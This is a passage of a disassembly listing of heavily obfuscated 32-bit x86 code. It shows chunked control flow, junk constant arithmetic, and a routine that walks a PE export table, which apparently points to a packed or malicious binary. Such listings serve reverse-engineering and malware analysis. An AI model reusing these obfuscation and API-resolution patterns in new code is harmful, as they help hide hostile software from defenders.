CHUNK AT 1001AA15 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001D271 SIZE 0000000B BYTES xchg edi, [esp+0] pop edi jnz loc_1001D271 jmp loc_1001578D sub_100198E6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A12F loc_100198F5: ; CODE XREF: sub_1001A12F:loc_1001C7B0j mov eax, [ebp+8] jmp loc_10014E0D ; END OF FUNCTION CHUNK FOR sub_1001A12F ; --------------------------------------------------------------------------- loc_100198FD: ; DATA XREF: sub_1001564A:loc_100155D5o mov ebx, [eax+18h] mov ecx, [ebx+3Ch] mov ecx, [ebx+ecx+78h] push offset sub_10019C9D jmp locret_10014569 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_10019911: ; CODE XREF: sub_10018066+5346j mov ecx, 9C32BF53h sbb edi, eax jmp loc_10015EE8 ; END OF FUNCTION CHUNK FOR sub_10018066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001991D: ; CODE XREF: sub_10013389:loc_1001569Ej push eax mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F6h setz al loc_1001992B: ; CODE XREF: an.kk9rg:loc_1001DE42j call sub_100182D9 pop ecx loc_10019931: ; CODE XREF: sub_10017CF8:loc_1001381Ej shl eax, 7 push offset sub_1001D260 jmp loc_100184D1 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_1001993E: ; CODE XREF: sub_1001B5A3:loc_100192E6j pop ebp retn ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100153B8 loc_10019940: ; CODE XREF: sub_100153B8+4750j jmp loc_1001DCE6 ; END OF FUNCTION CHUNK FOR sub_100153B8 ; --------------------------------------------------------------------------- push edi mov edi, ebp call sub_1001AC73 ; START OF FUNCTION CHUNK FOR sub_1001C2A9 loc_1001994D: ; CODE XREF: sub_1001C2A9:loc_1001D45Cj jnz sub_1001D43B jmp loc_1001B12B ; END OF FUNCTION CHUNK FOR sub_1001C2A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015276 loc_10019958: ; CODE XREF: sub_10015276:loc_100187ACj jz loc_10015660 loc_1001995E: ; CODE XREF: an.kk9rg:10018B8Bj jmp loc_10018D68 ; END OF FUNCTION CHUNK FOR sub_10015276 ; --------------------------------------------------------------------------- adc esi, 0B0922199h jmp loc_1001565D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_116. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_1001996F: ; DATA XREF: sub_10017811+Bo or eax, eax jnz loc_100140B1 jmp loc_1001C1AC ; =============== S U B R O U T I N E ======================================= sub_1001997C proc near ; CODE XREF: sub_1001725E+77Cj ; an.kk9rg:1001D9C7p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10013889 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 10014020 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018BFB SIZE 00000016 BYTES ; FUNCTION CHUNK AT 10018E74 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001922F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001A0A3 SIZE 0000000A BYTES xchg esi, [esp+0] pop esi jmp loc_10018E74 sub_1001997C endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019595 loc_10019986: ; CODE XREF: sub_10019595+442Dj push edi jmp loc_10018AD2 ; END OF FUNCTION CHUNK FOR sub_10019595 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001543A loc_1001998C: ; CODE XREF: sub_1001543A+10j add ebx, 90CCD314h xor ebx, 0AE961998h ; END OF FUNCTION CHUNK FOR sub_1001543A ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_10019998: ; CODE XREF: sub_1001ABFD:loc_1001D0E5j and ebx, 7CE9DAD7h push offset loc_1001AC1C jmp nullsub_165 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- loc_100199A8: ; CODE XREF: an.kk9rg:loc_1001A444j jnz loc_10018CE7 jmp loc_10014774 ; --------------------------------------------------------------------------- loc_100199B3: ; CODE XREF: an.kk9rg:10015548j and esi, edi ; =============== S U B R O U T I N E ======================================= sub_100199B5 proc near ; CODE XREF: sub_1001C799:loc_1001C65Dp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 1001ADCB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B393 SIZE 0000000E BYTES xchg ebx, [esp+0] pop ebx add ebx, 73FFE008h mov [ebx], eax pop ebx jmp loc_1001B393 sub_100199B5 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_77. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100173FA loc_100199C8: ; CODE XREF: sub_100173FA+31D3j jmp nullsub_119 ; END OF FUNCTION CHUNK FOR sub_100173FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CF40 loc_100199CD: ; CODE XREF: sub_1001CF40-833Ej jmp loc_10014501 ; END OF FUNCTION CHUNK FOR sub_1001CF40 ; --------------------------------------------------------------------------- loc_100199D2: ; CODE XREF: an.kk9rg:loc_100180D4j jnz loc_10017DD3 jmp loc_100141A3 ; --------------------------------------------------------------------------- loc_100199DD: ; DATA XREF: sub_100194EA+2160o jnz loc_10018D00 mov eax, [ebp-20h] mov byte ptr [eax], 64h call sub_1001B319 ; START OF FUNCTION CHUNK FOR sub_1001AE41 loc_100199EE: ; CODE XREF: sub_1001AE41+Ej jmp loc_1001B342 ; END OF FUNCTION CHUNK FOR sub_1001AE41 ; --------------------------------------------------------------------------- loc_100199F3: ; CODE XREF: an.kk9rg:10013824j mov edx, ebp xchg edx, [esp] mov ebp, esp push ebx mov ebx, ecx xchg ebx, [esp] push ebp mov ebp, edx jmp loc_1001C47F ; --------------------------------------------------------------------------- jmp ds:off_10002038 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100142E8 loc_10019A0E: ; CODE XREF: sub_100142E8+9415j jmp loc_10017A6E ; END OF FUNCTION CHUNK FOR sub_100142E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014F93 loc_10019A13: ; CODE XREF: sub_10014F93+11F6j jmp loc_100160B5 ; END OF FUNCTION CHUNK FOR sub_10014F93 ; --------------------------------------------------------------------------- loc_10019A18: ; CODE XREF: an.kk9rg:10014A23j jmp loc_10018787 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013916 loc_10019A1D: ; CODE XREF: sub_10013916+1Aj jmp loc_1001D4F4 ; END OF FUNCTION CHUNK FOR sub_10013916 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015E0D loc_10019A22: ; CODE XREF: sub_10015E0D-25FFj jmp sub_1001B2A9 ; END OF FUNCTION CHUNK FOR sub_10015E0D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015D9E loc_10019A27: ; CODE XREF: sub_100141C1:loc_10019C45j ; sub_10015D9E+677Bj ... jz loc_1001C5B2 pop edx push offset loc_10014719 jmp nullsub_153 ; END OF FUNCTION CHUNK FOR sub_10015D9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100190DC loc_10019A38: ; CODE XREF: sub_100190DC-47C6j sbb edi, 0C32D9425h ror ebp, 0Fh loc_10019A41: ; CODE XREF: sub_100190DC:loc_10016B3Aj push 7FF7C2E7h pop eax rol eax, 7 jmp loc_10016F19 ; END OF FUNCTION CHUNK FOR sub_100190DC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_54. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100164A2 loc_10019A50: ; CODE XREF: sub_100164A2+66BAj jmp nullsub_118 ; END OF FUNCTION CHUNK FOR sub_100164A2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014DD9 loc_10019A55: ; CODE XREF: sub_10014DD9+19j cmp eax, 5D61F90Dh jmp loc_100148E5 ; END OF FUNCTION CHUNK FOR sub_10014DD9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017BF9 loc_10019A60: ; CODE XREF: sub_10017BF9-1B49j jp loc_1001C7FD jnz sub_100137D6 jmp loc_1001DF17 ; --------------------------------------------------------------------------- loc_10019A71: ; CODE XREF: sub_10017BF9:loc_10014C67j sub al, 99h push 9FA6D9A8h pop edx xor edx, 472CE458h and edx, 0EF110723h jmp loc_1001A872 ; END OF FUNCTION CHUNK FOR sub_10017BF9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_198. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_10019A8B: ; CODE XREF: an.kk9rg:100164C3j jmp loc_10018BA7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013999 loc_10019A90: ; CODE XREF: sub_10013999+10j jmp loc_1001B6C8 ; END OF FUNCTION CHUNK FOR sub_10013999 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10019A95 proc near ; CODE XREF: sub_10016532+8p ; an.kk9rg:10018701j ; FUNCTION CHUNK AT 10014065 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001B8C7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C42B SIZE 00000022 BYTES push ebp mov ebp, esp push ecx jmp loc_1001B8C7 sub_10019A95 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A365 loc_10019A9E: ; CODE XREF: sub_1001A365+1060j pop edi xor edi, 12612B7Ah or edi, ds:100000C2h add edi, 5001D3DDh mov [edi], edx pop edi jmp loc_1001CDB3 ; END OF FUNCTION CHUNK FOR sub_1001A365 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001498A loc_10019AB9: ; CODE XREF: sub_1001498A:loc_1001D9D1j movzx eax, word ptr [eax] shl eax, 2 mov edx, [ebp-14h] mov edx, [edx+1Ch] jmp loc_100153A6 ; END OF FUNCTION CHUNK FOR sub_1001498A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100145ED loc_10019ACA: ; CODE XREF: sub_100145ED+Ej push 0CABF2A2h pop edx sub edx, 33F9C1BBh and edx, 6F428390h cmp edx, 0B85D4EA8h jmp loc_10015C3D ; END OF FUNCTION CHUNK FOR sub_100145ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100153B8 loc_10019AE7: ; CODE XREF: sub_100153B8:loc_10018B40j push 9E478DC6h pop eax or eax, 955A6AF2h add eax, 383131C2h and eax, 8393940Dh rol eax, 17h add eax, 0BBFD3DCh jmp loc_10019940 ; END OF FUNCTION CHUNK FOR sub_100153B8 ; =============== S U B R O U T I N E ======================================= sub_10019B0D proc near ; CODE XREF: sub_10016167:loc_100169FAp ; an.kk9rg:1001C8FBj ... arg_0 = dword ptr 4 xchg esi, [esp+0] pop esi xchg esi, [esp-4+arg_0] mov ecx, esi xchg edx, [esp-4+arg_0] mov esi, edx pop edx push offset loc_1001CFC8 jmp nullsub_49 sub_10019B0D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C6B0 loc_10019B26: ; CODE XREF: sub_1001C6B0:loc_10016432j xchg esi, [eax] jmp loc_10014F4E ; END OF FUNCTION CHUNK FOR sub_1001C6B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_10019B2D: ; CODE XREF: sub_1001564A-D3j ; sub_1001564A:loc_100155DFj xor eax, 86F9E148h rol eax, 2 or eax, 61103AD3h xor eax, 0A5F3B652h add eax, ebp jmp loc_100197CE ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- and ebp, 24BEDFE7h jmp sub_10014B3A ; --------------------------------------------------------------------------- shr edx, 1 jmp loc_10017393 ; --------------------------------------------------------------------------- loc_10019B5B: ; CODE XREF: an.kk9rg:10018EF3j xor edx, 0C27FC5A5h add edx, ebp add edx, 790956BAh mov edx, [edx] call sub_1001767A ; START OF FUNCTION CHUNK FOR sub_1001C799 loc_10019B70: ; CODE XREF: sub_1001C799+Bj jmp loc_100189F6 ; END OF FUNCTION CHUNK FOR sub_1001C799 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_10019B75: ; CODE XREF: sub_1001A97E-320Dj ; sub_1001B45F:loc_1001CAAEj jmp loc_1001845C ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- xchg ebx, edx popf jmp sub_10019423 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C8CE loc_10019B82: ; CODE XREF: sub_1001C8CE:loc_10016E86j popf adc esi, 5240C569h adc eax, 0ACFE26F3h jmp loc_10018C28 ; END OF FUNCTION CHUNK FOR sub_1001C8CE ; --------------------------------------------------------------------------- loc_10019B94: ; CODE XREF: an.kk9rg:1001B66Ej mov [esi], edi ; START OF FUNCTION CHUNK FOR sub_1001CEDD loc_10019B96: ; CODE XREF: sub_1001CEDD+11j add ecx, 11BEF5AAh and ecx, 0FAE4D03Fh add ecx, 1F201019h mov [ecx], eax pop ecx lea eax, loc_1001661B jmp loc_10017DDE ; END OF FUNCTION CHUNK FOR sub_1001CEDD ; =============== S U B R O U T I N E ======================================= sub_10019BB6 proc near ; CODE XREF: an.kk9rg:100144EAj ; sub_1001CC4A+18p xchg esi, [esp+0] pop esi mov edx, 0A2CD59D9h call sub_1001DECE mov ds:dword_1001BC9C, eax retn sub_10019BB6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D88D loc_10019BCA: ; CODE XREF: sub_1001D88D:loc_1001D229j call sub_1001DD8B loc_10019BCF: ; CODE XREF: an.kk9rg:1001C9D1j jmp loc_10014B6D ; END OF FUNCTION CHUNK FOR sub_1001D88D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10019BD4: ; CODE XREF: sub_10013389:loc_10018D34j imul byte ptr [edx] cmp al, 0A4h jnz loc_100189C3 jmp loc_1001A867 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- jmp loc_100189C3 ; --------------------------------------------------------------------------- or edx, 0BB261C63h sbb ebx, 0FC9ED4F1h jmp sub_10015DDC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017EFB loc_10019BF9: ; CODE XREF: sub_10017EFB+54C3j ; an.kk9rg:loc_1001D3EEj push offset sub_1001C9F8 jmp nullsub_204 ; END OF FUNCTION CHUNK FOR sub_10017EFB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_10019C03: ; CODE XREF: sub_10019E2E-46AEj popf loc_10019C04: ; CODE XREF: sub_10019E2E:loc_1001B92Aj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_1001D92D jmp loc_10013A5F ; END OF FUNCTION CHUNK FOR sub_10019E2E ; --------------------------------------------------------------------------- loc_10019C15: ; CODE XREF: an.kk9rg:1001741Cj jz loc_1001B9EA xchg ecx, edx ; =============== S U B R O U T I N E ======================================= sub_10019C1D proc near ; CODE XREF: sub_10016D66+1111p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 1001A641 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx xchg ecx, [esp-4+arg_0] jmp loc_1001A641 sub_10019C1D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C758 loc_10019C29: ; CODE XREF: sub_1001C758:loc_1001C76Dj call sub_10018C4D loc_10019C2E: ; CODE XREF: an.kk9rg:1001CAF7j jl loc_10018910 ; END OF FUNCTION CHUNK FOR sub_1001C758 ; =============== S U B R O U T I N E ======================================= sub_10019C34 proc near ; CODE XREF: sub_100175DE:loc_1001DA78p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 100174D2 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 10017DBE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C129 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 1001C3C9 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 1001CBEB SIZE 00000016 BYTES xchg eax, [esp+0] pop eax xchg esi, [esp-4+arg_0] jmp loc_10017DBE sub_10019C34 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019595 loc_10019C40: ; CODE XREF: sub_10019595:loc_10016B5Ej ; an.kk9rg:10016B76j call sub_1001D190 ; END OF FUNCTION CHUNK FOR sub_10019595 ; START OF FUNCTION CHUNK FOR sub_100141C1 loc_10019C45: ; CODE XREF: sub_100141C1+96E8j jmp loc_10019A27 ; END OF FUNCTION CHUNK FOR sub_100141C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001537B loc_10019C4A: ; CODE XREF: sub_1001537B-6B8j jmp loc_1001AB30 ; END OF FUNCTION CHUNK FOR sub_1001537B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100141E3 loc_10019C4F: ; CODE XREF: sub_100141E3+Dj jmp loc_1001C0CC ; END OF FUNCTION CHUNK FOR sub_100141E3 ; --------------------------------------------------------------------------- shl ecx, 4 jmp sub_1001646E ; --------------------------------------------------------------------------- push eax call sub_10014DF8 mov edx, [ebp+8] mov eax, [edx] add edx, 4 mov edx, [edx] jmp loc_1001AD89 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015988 loc_10019C71: ; CODE XREF: sub_10015988+47DAj ja loc_1001C85B xchg ebp, edx pushf ; END OF FUNCTION CHUNK FOR sub_10015988 ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10019C7A: ; CODE XREF: sub_10013389:loc_100141D8j ; sub_10015988-108Aj ... jmp loc_1001C3B7 ; --------------------------------------------------------------------------- loc_10019C7F: ; CODE XREF: sub_10013389+187j ; sub_10015988+2CF1j xchg ebp, [esp+4+var_4] jmp loc_10013814 ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= sub_10019C87 proc near ; CODE XREF: sub_10013389:loc_10014325p ; an.kk9rg:1001C404j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10013198 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001C0B6 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx push eax lea eax, loc_100180E8 push ecx mov ecx, eax xchg ecx, [esp+4+var_4] jmp loc_10013198 sub_10019C87 endp ; =============== S U B R O U T I N E ======================================= sub_10019C9D proc near ; DATA XREF: an.kk9rg:10019907o or ecx, ecx jz loc_1001B6F5 mov ecx, [ebx+ecx+0Ch] or ecx, ecx jz loc_1001B6F5 mov edx, [ebx+ecx] xor edx, [ebx+ecx+4] jmp loc_1001B6E9 sub_10019C9D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019D80 loc_10019CBD: ; CODE XREF: sub_10019D80-2C72j pop eax xchg eax, [esp+0] call sub_1001A024 adc eax, 5C8994C7h jmp loc_10015B53 ; END OF FUNCTION CHUNK FOR sub_10019D80 ; =============== S U B R O U T I N E ======================================= sub_10019CD1 proc near ; CODE XREF: an.kk9rg:100131B4j ; sub_10019409:loc_100166C8p xchg esi, [esp+0] pop esi mov ebp, esp push ecx cmp ds:dword_10019654, 0 call sub_10015A4A loc_10019CE4: ; CODE XREF: an.kk9rg:1001B208j jmp nullsub_50 sub_10019CD1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100180C2 loc_10019CE9: ; CODE XREF: sub_100180C2-2D8Dj jmp loc_1001873A ; END OF FUNCTION CHUNK FOR sub_100180C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017667 loc_10019CEE: ; CODE XREF: sub_10017667+Cj add eax, 0EAA38740h loc_10019CF4: ; CODE XREF: sub_1001564A+BE3j mov eax, [eax] popf mov al, [eax] jns loc_10017142 sub al, 99h mov edx, [ebp-4] jmp loc_1001A180 ; END OF FUNCTION CHUNK FOR sub_10017667 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013688 loc_10019D09: ; CODE XREF: sub_10013688+14j mov eax, [ebp+8] push eax cmp dword ptr [ebp-14h], 5 setz al call sub_100182D9 pop ecx shl eax, 3 jmp loc_1001D8D4 ; END OF FUNCTION CHUNK FOR sub_10013688 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_55. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- mov edi, [ecx] jmp sub_100152C7 ; --------------------------------------------------------------------------- mov ecx, 27E9360Ch jmp sub_10015FC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001AAE3 loc_10019D34: ; CODE XREF: sub_1001AAE3+3j push ecx push ecx push 8CB44669h pop ecx add ecx, 7CBDA63Fh push offset loc_10019DD6 jmp nullsub_65 ; END OF FUNCTION CHUNK FOR sub_1001AAE3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_10019D4C: ; CODE XREF: sub_10016167-AE2j jnb loc_10018ADA loc_10019D52: ; CODE XREF: an.kk9rg:10014AD8j xor ecx, 0F67A53ADh loc_10019D58: ; CODE XREF: sub_10016167:loc_10018664j push 4CAEAACEh pop eax jmp loc_10015D13 ; END OF FUNCTION CHUNK FOR sub_10016167 ; =============== S U B R O U T I N E ======================================= sub_10019D63 proc near ; DATA XREF: sub_10015C14:loc_100178BFo mov byte ptr [eax], 0C3h jmp sub_100188A0 sub_10019D63 endp ; =============== S U B R O U T I N E ======================================= sub_10019D6B proc near ; CODE XREF: sub_10019D6B+5j ; DATA XREF: vyridizn:off_10002024o call sub_10019D80 jmp ds:off_10002024 sub_10019D6B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016A39 loc_10019D76: ; CODE XREF: sub_10016A39+6D5Fj jmp loc_10014DB8 ; END OF FUNCTION CHUNK FOR sub_10016A39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_10019D7B: ; CODE XREF: sub_1001564A+1B6Dj jmp nullsub_52 ; END OF FUNCTION CHUNK FOR sub_1001564A ; =============== S U B R O U T I N E ======================================= sub_10019D80 proc near ; CODE XREF: sub_1001492C:loc_100154BAj ; an.kk9rg:loc_10018A19j ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 10013FF4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015B53 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017107 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 10019CBD SIZE 00000014 BYTES ; FUNCTION CHUNK AT 1001A754 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001A7A8 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 1001BC45 SIZE 00000006 BYTES pop edx jns loc_1001A7A8 mov eax, [esp-4+arg_0] jmp loc_10013FF4 sub_10019D80 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_146. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- xor eax, ecx sbb ecx, edx ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10019D94: ; CODE XREF: sub_10013389:loc_100133FEj jmp sub_1001D392 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B45F loc_10019D99: ; CODE XREF: sub_1001B45F+19j mov eax, [ebp-4] call sub_1001B2CC loc_10019DA1: ; CODE XREF: sub_1001A606-6190j jmp loc_1001D0DA ; END OF FUNCTION CHUNK FOR sub_1001B45F ; --------------------------------------------------------------------------- loc_10019DA6: ; CODE XREF: an.kk9rg:10014C62j jbe loc_1001A36E ; START OF FUNCTION CHUNK FOR sub_10016167 loc_10019DAC: ; CODE XREF: sub_10016167+3C97j or ebx, 45077F19h add ebx, 8A708085h xchg ebx, [esp+0] ; END OF FUNCTION CHUNK FOR sub_10016167 ; START OF FUNCTION CHUNK FOR sub_1001C28F loc_10019DBB: ; CODE XREF: sub_1001C28F-4536j call sub_100140A5 push ebx push 3D7B25h pop ebx jmp loc_1001D494 ; END OF FUNCTION CHUNK FOR sub_1001C28F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001DECE loc_10019DCC: ; CODE XREF: sub_1001DECE+9j push offset sub_10018E91 jmp nullsub_177 ; END OF FUNCTION CHUNK FOR sub_1001DECE ; --------------------------------------------------------------------------- loc_10019DD6: ; DATA XREF: sub_1001AAE3-DA1o xor ecx, 27EEB44Ch add ecx, ebp add ecx, 0D160A718h mov [ecx], eax pop ecx pushf push 0B8F9B030h jmp loc_10014D1A ; --------------------------------------------------------------------------- loc_10019DF2: ; CODE XREF: an.kk9rg:100189B4j jg loc_100133FE ; START OF FUNCTION CHUNK FOR sub_10016167 loc_10019DF8: ; CODE XREF: sub_10016167+56ACj and ebx, 35EE3A6Eh jns loc_10019DAC loc_10019E04: ; CODE XREF: sub_10015E0D+7E3j jmp loc_1001C8D9 ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- jno loc_1001600F popf mov edx, eax jmp loc_10014C5F ; =============== S U B R O U T I N E ======================================= sub_10019E17 proc near ; CODE XREF: sub_1001C8CE-3A21p ; an.kk9rg:1001BA8Dj ; FUNCTION CHUNK AT 10014A5A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001539C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 100174BB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001829E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001960E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A55B SIZE 00000016 BYTES ; FUNCTION CHUNK AT 1001A5A1 SIZE 00000009 BYTES xchg esi, [esp+0] pop esi mov eax, [ebp+8] test byte ptr [eax-7], 10h jz loc_1001A55B jmp loc_1001829E sub_10019E17 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_107. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_10019E2E proc near ; CODE XREF: sub_10013372:loc_100148EAj arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10013255 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 1001363E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10013A5F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10014001 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10014EFF SIZE 00000013 BYTES ; FUNCTION CHUNK AT 10014FB3 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 1001577D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 100176DA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017DB3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001816E SIZE 00000017 BYTES ; FUNCTION CHUNK AT 100183F7 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10018498 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019C03 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 1001A656 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 1001A676 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A91C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B92A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001BB25 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 1001C74B SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001C87B SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001CDE2 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 1001D1AC SIZE 00000024 BYTES ; FUNCTION CHUNK AT 1001D7B4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D91E SIZE 0000001A BYTES push ebx push 0E13FCB92h pop ebx add ebx, 0B560429Ah rol ebx, 1Dh jmp loc_10014FB3 sub_10019E2E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001893F loc_10019E43: ; CODE XREF: sub_1001893F:loc_100156A4j jnz loc_10017CD7 jmp loc_10017C7F ; END OF FUNCTION CHUNK FOR sub_1001893F ; --------------------------------------------------------------------------- loc_10019E4E: ; DATA XREF: sub_1001564A+1B68o mov eax, [eax] push eax push 28h push 478FE7Eh pop eax and eax, 0ED41380Fh or eax, 3EA8FF59h add eax, 75042BAEh jmp loc_10015F7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015131 loc_10019E70: ; CODE XREF: sub_10015131+A2j or esi, 62F3A6Fh loc_10019E76: ; CODE XREF: sub_10015131:loc_100169B0j call sub_100180C2 mov edx, 0DD5E106Fh call sub_1001534D jmp loc_100141C8 ; END OF FUNCTION CHUNK FOR sub_10015131 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013061 loc_10019E8A: ; CODE XREF: sub_10013061+9CA1j jge loc_100149E1 loc_10019E90: ; CODE XREF: an.kk9rg:100160E5j jmp nullsub_126 ; 